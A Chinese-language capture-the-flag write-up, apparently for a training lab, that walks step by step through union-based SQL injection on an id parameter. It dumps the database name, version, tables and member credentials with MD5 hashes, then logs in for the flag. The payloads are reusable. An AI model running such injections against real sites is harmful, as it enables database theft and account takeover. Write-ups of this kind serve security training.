IP地址 : 124.70.22.208 端口 : 44703 协议 : http 其他 : [点击访问]
点击登录界面下的移动条幅
第一步,判断是否存在sql注入漏洞
构造 ?id=1 and 1=1 ,回车
正常显示
构造 ?id=1 and 1=2 ,回车
异常显示,初步判断这里可能存在一个注入漏洞。
第二步:判断字段数
构造 ?id=1 and 1=1 order by 1 回车 , 在by 后 依次 输 1,2,3,4,5,
当到 ?id=1 and 1=1 order by 5 回车时显示异常,判断字段数为 4
第三步:判断回显点
构造 ?id=1 and 1=4 union select 1,2,3,4 回车
页面出现了 2 ,3 ,说明我们可以在数字 2,3 处显示我们想要的内容
第四步:查询相关内容
查询当前数据库名、版本名
构造 ?id=1 and 1=4 union select 1,database(),version(),4 回车
数据库的名:mozhe_Discuz_StormGroup
版本号:5.7.22-0ubuntu0.16.04.1
查询数据库mozhe_discuz_stormgroup中的表
语句:id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()
获取到StormGroup_member,notice 这两张表。
接着去爆字段值
语句:id=-1/**/union/**/select/**/1,2,group_concat(name,id,password),4/**/from/**/StormGroup—_member
获得两条记录,密码是被md5加密,账号是mozhe,
mozhe1356f589a7df439f6f744ff19bb8092c0
mozhe18d30ea5ff534319652f548256aeb67b2
尝试去登录,发现第一个号被禁用了
接着去登录第二个,成功登录进去,获取到flag.